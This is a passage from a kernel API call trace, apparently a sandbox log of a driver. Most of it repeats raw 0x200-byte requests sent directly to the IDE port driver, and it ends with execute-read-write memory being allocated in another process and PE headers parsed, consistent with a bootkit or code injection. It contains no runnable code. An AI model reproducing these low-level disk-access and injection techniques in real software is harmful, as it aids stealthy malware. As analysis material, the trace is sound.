out: Event=0xfffff88002f9d1f0) [0077.472] IdePortDispatch () returned 0x103 [0077.472] KeWaitForMutexObject () returned 0x0 [0077.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.472] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.472] IdePortDispatch () returned 0x103 [0077.472] KeWaitForMutexObject () returned 0x0 [0077.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.472] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.472] IdePortDispatch () returned 0x103 [0077.472] KeWaitForMutexObject () returned 0x0 [0077.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.473] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.473] IdePortDispatch () returned 0x103 [0077.473] KeWaitForMutexObject () returned 0x0 [0077.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.473] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.473] IdePortDispatch () returned 0x103 [0077.473] KeWaitForMutexObject () returned 0x0 [0077.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.473] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.473] IdePortDispatch () returned 0x103 [0077.474] KeWaitForMutexObject () returned 0x0 [0077.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.474] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.474] IdePortDispatch () returned 0x103 [0077.474] KeWaitForMutexObject () returned 0x0 [0077.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.474] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.474] IdePortDispatch () returned 0x103 [0077.474] KeWaitForMutexObject () returned 0x0 [0077.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.474] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.474] IdePortDispatch () returned 0x103 [0077.475] KeWaitForMutexObject () returned 0x0 [0077.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.475] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.475] IdePortDispatch () returned 0x103 [0077.475] KeWaitForMutexObject () returned 0x0 [0077.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.475] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.475] IdePortDispatch () returned 0x103 [0077.475] KeWaitForMutexObject () returned 0x0 [0077.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.476] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.476] IdePortDispatch () returned 0x103 [0077.476] KeWaitForMutexObject () returned 0x0 [0077.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.476] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.476] IdePortDispatch () returned 0x103 [0077.476] KeWaitForMutexObject () returned 0x0 [0077.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.476] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.476] IdePortDispatch () returned 0x103 [0077.476] KeWaitForMutexObject () returned 0x0 [0077.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.477] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.477] IdePortDispatch () returned 0x103 [0077.477] KeWaitForMutexObject () returned 0x0 [0077.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.477] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.477] IdePortDispatch () returned 0x103 [0077.477] KeWaitForMutexObject () returned 0x0 [0077.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.477] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.477] IdePortDispatch () returned 0x103 [0077.477] KeWaitForMutexObject () returned 0x0 [0077.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.478] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.478] IdePortDispatch () returned 0x103 [0077.478] KeWaitForMutexObject () returned 0x0 [0077.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.478] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.478] IdePortDispatch () returned 0x103 [0077.478] KeWaitForMutexObject () returned 0x0 [0077.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.478] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.478] IdePortDispatch () returned 0x103 [0077.478] KeWaitForMutexObject () returned 0x0 [0077.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.479] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.479] IdePortDispatch () returned 0x103 [0077.479] KeWaitForMutexObject () returned 0x0 [0077.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.479] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.479] IdePortDispatch () returned 0x103 [0077.479] KeWaitForMutexObject () returned 0x0 [0077.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.479] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.479] IdePortDispatch () returned 0x103 [0077.479] KeWaitForMutexObject () returned 0x0 [0077.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.480] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.480] IdePortDispatch () returned 0x103 [0077.480] KeWaitForMutexObject () returned 0x0 [0077.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.480] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.480] IdePortDispatch () returned 0x103 [0077.480] KeWaitForMutexObject () returned 0x0 [0077.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.484] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.484] IdePortDispatch () returned 0x103 [0077.484] KeWaitForMutexObject () returned 0x0 [0077.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.484] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.484] IdePortDispatch () returned 0x103 [0077.484] KeWaitForMutexObject () returned 0x0 [0077.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.484] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.484] IdePortDispatch () returned 0x103 [0077.485] KeWaitForMutexObject () returned 0x0 [0077.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.485] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.485] IdePortDispatch () returned 0x103 [0077.485] KeWaitForMutexObject () returned 0x0 [0077.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.485] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.485] IdePortDispatch () returned 0x103 [0077.485] KeWaitForMutexObject () returned 0x0 [0077.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.486] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.486] IdePortDispatch () returned 0x103 [0077.486] KeWaitForMutexObject () returned 0x0 [0077.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.486] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.486] IdePortDispatch () returned 0x103 [0077.486] KeWaitForMutexObject () returned 0x0 [0077.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.486] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.486] IdePortDispatch () returned 0x103 [0077.486] KeWaitForMutexObject () returned 0x0 [0077.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.487] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.487] IdePortDispatch () returned 0x103 [0077.487] KeWaitForMutexObject () returned 0x0 [0077.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.487] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.487] IdePortDispatch () returned 0x103 [0077.487] KeWaitForMutexObject () returned 0x0 [0077.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.487] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.487] IdePortDispatch () returned 0x103 [0077.487] KeWaitForMutexObject () returned 0x0 [0077.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.488] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.488] IdePortDispatch () returned 0x103 [0077.488] KeWaitForMutexObject () returned 0x0 [0077.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.488] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.488] IdePortDispatch () returned 0x103 [0077.488] KeWaitForMutexObject () returned 0x0 [0077.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.488] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.488] IdePortDispatch () returned 0x103 [0077.489] KeWaitForMutexObject () returned 0x0 [0077.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.489] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.489] IdePortDispatch () returned 0x103 [0077.489] KeWaitForMutexObject () returned 0x0 [0077.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.489] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0077.489] IdePortDispatch () returned 0x103 [0077.489] KeWaitForMutexObject () returned 0x0 [0077.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.489] KeLeaveCriticalRegion () [0077.489] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.490] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003a0, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0077.490] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0077.490] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0077.490] ZwAllocateVirtualMemory 